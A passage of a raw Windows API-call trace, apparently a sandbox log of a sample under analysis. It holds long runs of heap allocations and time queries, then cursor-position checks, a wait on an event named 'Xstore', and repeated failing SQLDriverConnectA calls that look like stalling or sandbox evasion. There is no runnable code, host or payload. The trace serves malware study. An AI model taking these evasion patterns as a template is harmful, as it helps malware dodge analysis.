(HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8410210, dwHighDateTime=0x1d595b2)) [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8410210, dwHighDateTime=0x1d595b2)) [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8410210, dwHighDateTime=0x1d595b2)) [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8412920, dwHighDateTime=0x1d595b2)) [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.285] GetLastError () returned 0x578 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8412920, dwHighDateTime=0x1d595b2)) [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8412920, dwHighDateTime=0x1d595b2)) [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8415030, dwHighDateTime=0x1d595b2)) [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8415030, dwHighDateTime=0x1d595b2)) [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8415030, dwHighDateTime=0x1d595b2)) [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8415030, dwHighDateTime=0x1d595b2)) [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8415030, dwHighDateTime=0x1d595b2)) [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.286] GetLastError () returned 0x578 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8417740, dwHighDateTime=0x1d595b2)) [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8417740, dwHighDateTime=0x1d595b2)) [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8417740, dwHighDateTime=0x1d595b2)) [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8417740, dwHighDateTime=0x1d595b2)) [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8417740, dwHighDateTime=0x1d595b2)) [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8417740, dwHighDateTime=0x1d595b2)) [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8417740, dwHighDateTime=0x1d595b2)) [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.287] GetLastError () returned 0x578 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8419e50, dwHighDateTime=0x1d595b2)) [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8419e50, dwHighDateTime=0x1d595b2)) [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8419e50, dwHighDateTime=0x1d595b2)) [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd841c560, dwHighDateTime=0x1d595b2)) [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd841c560, dwHighDateTime=0x1d595b2)) [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd841c560, dwHighDateTime=0x1d595b2)) [0141.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd841c560, dwHighDateTime=0x1d595b2)) [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.289] GetLastError () returned 0x578 [0141.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.362] GetCursorPos (in: lpPoint=0x18ed0c | out: lpPoint=0x18ed0c*(x=519, y=527)) returned 1 [0141.390] TrackPopupMenu (hMenu=0x0, uFlags=0x0, x=521, y=530, nReserved=0, hWnd=0x0, prcRect=0x0) returned 0 [0141.391] GetCursorPos (in: lpPoint=0x18ed1c | out: lpPoint=0x18ed1c*(x=519, y=527)) returned 1 [0141.391] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Xstore") returned 0x1a4 [0141.391] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=519, y=527)) returned 1 [0141.391] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0141.391] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0141.391] SetFocus (hWnd=0x0) returned 0x0 [0141.391] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xbb7) returned 0x102 [0144.513] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0144.513] SetCursor (hCursor=0x10007) returned 0x10007 [0144.513] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=519, y=527)) returned 1 [0144.513] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0144.513] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0144.513] SetFocus (hWnd=0x0) returned 0x0 [0144.513] GetDeviceCaps (hdc=0x0, index=90) returned 0 [0144.513] CreateFontA (cHeight=0, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="me") returned 0x80a0807 [0144.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8a8 [0144.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5bd8b8 [0144.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0144.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0144.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5bd8b8 [0144.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0144.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0144.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0144.513] SQLDriverConnectA () returned 0xfffe [0144.514] SQLDriverConnectA () returned 0xfffe [0144.514] SQLDriverConnectA () returned 0xfffe [0144.514] SQLDriverConnectA () returned 0xfffe [0144.515] SQLDriverConnectA () returned 0xfffe [0144.515] SQLDriverConnectA () returned 0xfffe [0144.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0144.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8a8 | out: hHeap=0x5b0000) returned 1 [0144.515] SetRect (in: lprc=0x18dbc0, xLeft=10, yTop=10, xRight=110, yBottom=110 | out: lprc=0x18dbc0) returned 1 [0144.515] InflateRect (in: lprc=0x18dbc0, dx=-20, dy=-20 | out: lprc=0x18dbc0) returned 1 [0144.515] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=300, xRight=200, yBottom=301 | out: lprc=0x18dbc0) returned 1 [0144.515] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=302, xRight=200, 